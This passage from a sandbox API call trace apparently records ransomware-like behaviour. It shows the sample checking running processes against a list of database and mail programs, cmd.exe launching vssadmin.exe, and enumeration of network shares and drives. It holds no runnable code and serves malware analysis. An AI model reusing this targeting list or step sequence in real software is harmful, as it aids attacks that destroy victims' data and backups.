| out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0063.511] lstrlenW (lpString="System") returned 6 [0063.511] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0063.511] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0063.511] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0063.511] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0063.511] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0063.511] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0063.511] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0063.511] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0063.511] lstrlenW (lpString="smss.exe") returned 8 [0063.512] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0063.512] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0063.512] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0063.512] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0063.512] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0063.512] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0063.512] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0063.512] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0063.512] lstrlenW (lpString="csrss.exe") returned 9 [0063.512] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0063.512] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0063.512] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0063.512] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0063.512] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0063.512] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0063.512] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0063.512] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0063.512] lstrlenW (lpString="wininit.exe") returned 11 [0063.512] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0063.513] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0063.513] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0063.513] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0063.513] lstrlenW (lpString="csrss.exe") returned 9 [0063.513] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0063.514] lstrlenW (lpString="winlogon.exe") returned 12 [0063.514] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0063.514] lstrlenW (lpString="services.exe") returned 12 [0063.514] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0063.514] lstrlenW (lpString="lsass.exe") returned 9 [0063.514] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0063.514] lstrlenW (lpString="lsm.exe") returned 7 [0063.514] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.515] lstrlenW (lpString="svchost.exe") returned 11 [0063.515] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.515] lstrlenW (lpString="svchost.exe") returned 11 [0063.515] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.515] lstrlenW (lpString="svchost.exe") returned 11 [0063.515] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.516] lstrlenW (lpString="svchost.exe") returned 11 [0063.516] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x30, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.516] lstrlenW (lpString="svchost.exe") returned 11 [0063.516] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0063.516] lstrlenW (lpString="audiodg.exe") returned 11 [0063.516] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.516] lstrlenW (lpString="svchost.exe") returned 11 [0063.516] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.517] lstrlenW (lpString="svchost.exe") returned 11 [0063.517] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0063.517] lstrlenW (lpString="dwm.exe") returned 7 [0063.517] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0063.517] lstrlenW (lpString="explorer.exe") returned 12 [0063.517] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0063.518] lstrlenW (lpString="spoolsv.exe") returned 11 [0063.518] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0063.518] lstrlenW (lpString="taskhost.exe") returned 12 [0063.518] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.518] lstrlenW (lpString="svchost.exe") returned 11 [0063.518] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0063.518] lstrlenW (lpString="taskeng.exe") returned 11 [0063.518] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0063.519] lstrlenW (lpString="taskhost.exe") returned 12 [0063.519] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="johnston-audit-transportation.exe")) returned 1 [0063.519] lstrlenW (lpString="johnston-audit-transportation.exe") returned 33 [0063.519] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="noticed.exe")) returned 1 [0063.519] lstrlenW (lpString="noticed.exe") returned 11 [0063.519] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uploaded.exe")) returned 1 [0063.520] lstrlenW (lpString="uploaded.exe") returned 12 [0063.520] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hardware.exe")) returned 1 [0063.520] lstrlenW (lpString="hardware.exe") returned 12 [0063.520] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="oracle.exe")) returned 1 [0063.520] lstrlenW (lpString="oracle.exe") returned 10 [0063.520] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="creativity.exe")) returned 1 [0063.520] lstrlenW (lpString="creativity.exe") returned 14 [0063.520] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="returnsaturdaystakeholders.exe")) returned 1 [0063.521] lstrlenW (lpString="returnsaturdaystakeholders.exe") returned 30 [0063.521] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="edited.exe")) returned 1 [0063.521] lstrlenW (lpString="edited.exe") returned 10 [0063.521] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="custody.exe")) returned 1 [0063.521] lstrlenW (lpString="custody.exe") returned 11 [0063.521] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="aggregate ver hawaii.exe")) returned 1 [0063.522] lstrlenW (lpString="aggregate ver hawaii.exe") returned 24 [0063.522] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="same_oxygen_researchers.exe")) returned 1 [0063.522] lstrlenW (lpString="same_oxygen_researchers.exe") returned 27 [0063.522] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="receipt affects separated.exe")) returned 1 [0063.522] lstrlenW (lpString="receipt affects separated.exe") returned 29 [0063.522] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="radius.exe")) returned 1 [0063.522] lstrlenW (lpString="radius.exe") returned 10 [0063.523] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="extensions.exe")) returned 1 [0063.523] lstrlenW (lpString="extensions.exe") returned 14 [0063.523] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="desperate.exe")) returned 1 [0063.523] lstrlenW (lpString="desperate.exe") returned 13 [0063.523] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="professor-mo.exe")) returned 1 [0063.523] lstrlenW (lpString="professor-mo.exe") returned 16 [0063.523] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="guidance.exe")) returned 1 [0063.524] lstrlenW (lpString="guidance.exe") returned 12 [0063.524] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="week.exe")) returned 1 [0063.524] lstrlenW (lpString="week.exe") returned 8 [0063.524] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="brazilian river delay.exe")) returned 1 [0063.524] lstrlenW (lpString="brazilian river delay.exe") returned 25 [0063.524] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sn featured.exe")) returned 1 [0063.524] lstrlenW (lpString="sn featured.exe") returned 15 [0063.525] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="edgar_academic_dvd.exe")) returned 1 [0063.525] lstrlenW (lpString="edgar_academic_dvd.exe") returned 22 [0063.525] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="floor_relate_welfare.exe")) returned 1 [0063.525] lstrlenW (lpString="floor_relate_welfare.exe") returned 24 [0063.525] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0063.525] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0063.525] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x950, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ContinuumLoosely.exe")) returned 1 [0063.526] lstrlenW (lpString="ContinuumLoosely.exe") returned 20 [0063.526] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x950, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0063.526] lstrlenW (lpString="cmd.exe") returned 7 [0063.526] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0063.526] lstrlenW (lpString="conhost.exe") returned 11 [0063.526] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0063.527] lstrlenW (lpString="vssadmin.exe") returned 12 [0063.527] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0063.527] lstrlenW (lpString="VSSVC.exe") returned 9 [0063.527] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.527] lstrlenW (lpString="svchost.exe") returned 11 [0063.527] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1b0, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0063.528] lstrlenW (lpString="LogonUI.exe") returned 11 [0063.528] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1b0, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0 [0063.528] CloseHandle (hObject=0x350) returned 1 [0063.528] Sleep (dwMilliseconds=0x1f4) Thread: id = 7 os_tid = 0x9d8 [0035.740] WaitForSingleObject (hHandle=0x18e4e0, dwMilliseconds=0xffffffff) returned 0xffffffff [0035.740] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7fc810 | out: hHeap=0x790000) returned 1 Thread: id = 8 os_tid = 0x9dc [0035.742] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7fc810 [0035.742] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7fc810, Size=0x20) returned 0x806770 [0035.742] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x806770, Size=0x40) returned 0x7e2dd0 [0035.742] GetLogicalDrives () returned 0x4 [0035.742] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x8780d8 [0035.742] GetComputerNameW (in: lpBuffer=0x8780dc, nSize=0x373ff6c | out: lpBuffer="XDUWTFONO", nSize=0x373ff6c) returned 1 [0035.742] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1000) returned 0x3293070 [0035.743] WNetOpenEnumW (in: dwScope=0x3, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x373ff3c | out: lphEnum=0x373ff3c*=0x803ec8) returned 0x0 [0035.743] WNetEnumResourceW (in: hEnum=0x803ec8, lpcCount=0x373ff38, lpBuffer=0x3293070, lpBufferSize=0x373ff40 | out: lpcCount=0x373ff38, lpBuffer=0x3293070, lpBufferSize=0x373ff40) returned 0x103 [0035.743] WNetCloseEnum (hEnum=0x803ec8) returned 0x0 [0035.743] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x373ff3c | out: lphEnum=0x373ff3c*=0x7cba10) returned 0x0 [0040.260] WNetEnumResourceW (in: hEnum=0x7cba10, lpcCount=0x373ff38, lpBuffer=0x3293070, lpBufferSize=0x373ff40 | out: lpcCount=0x373ff38, lpBuffer=0x3293070, lpBufferSize=0x373ff40) returned 0x0 [0040.260] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1000) returned 0x4dfa0d8 [0040.260] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x3293070, lphEnum=0x373ff10 | out: lphEnum=0x373ff10*=0x3299be0) returned 0x0 [0040.520] WNetEnumResourceW (in: hEnum=0x3299be0, lpcCount=0x373ff0c, lpBuffer=0x4dfa0d8, lpBufferSize=0x373ff14 | out: lpcCount=0x373ff0c, lpBuffer=0x4dfa0d8, lpBufferSize=0x373ff14) returned 0x103 [0040.520] WNetCloseEnum (hEnum=0x3299be0) returned 0x0 [0040.520] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1000) returned 0x4dfb0e0 [0040.520] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x3293090, lphEnum=0x373ff10 | out: lphEnum=0x373ff10*=0x0) returned 0x4b8 [0061.393] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1000) returned 0x4df1090 [0061.393] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x32930b0, lphEnum=0x373ff10 | out: lphEnum=0x373ff10*=0x0) returned 0x4c6 [0061.394] WNetEnumResourceW (in: hEnum=0x7cba10, lpcCount=0x373ff38, lpBuffer=0x3293070, lpBufferSize=0x373ff40 | out: lpcCount=0x373ff38, lpBuffer=0x3293070, lpBufferSize=0x373ff40) returned 0x103 [0061.394] WNetCloseEnum (hEnum=0x7cba10) returned 0x0 [0061.394] GetLogicalDrives () returned 0x4 [0061.394] Sleep (dwMilliseconds=0x64) [0061.749] GetLogicalDrives () returned 0x4 [0061.756] Sleep (dwMilliseconds=0x64) [0062.020] GetLogicalDrives () returned 0x4 [0062.020] Sleep (dwMilliseconds=0x64) [0062.555] GetLogicalDrives () returned 0x4 [0062.556] Sleep (dwMilliseconds=0x64) [0063.393] GetLogicalDrives () returned 0x4 [0063.393] Sleep (dwMilliseconds=0x64) [0063.584] GetLogicalDrives () returned 0x4 [0063.584] Sleep (dwMilliseconds=0x64) Thread: id = 9 os_tid = 0x9e0 [0036.749] GetTickCount () returned 0x1143ddb [0036.749] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x24) returned 0x88a538 [0036.749] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x88a538, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2fc [0036.750] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x88a538, 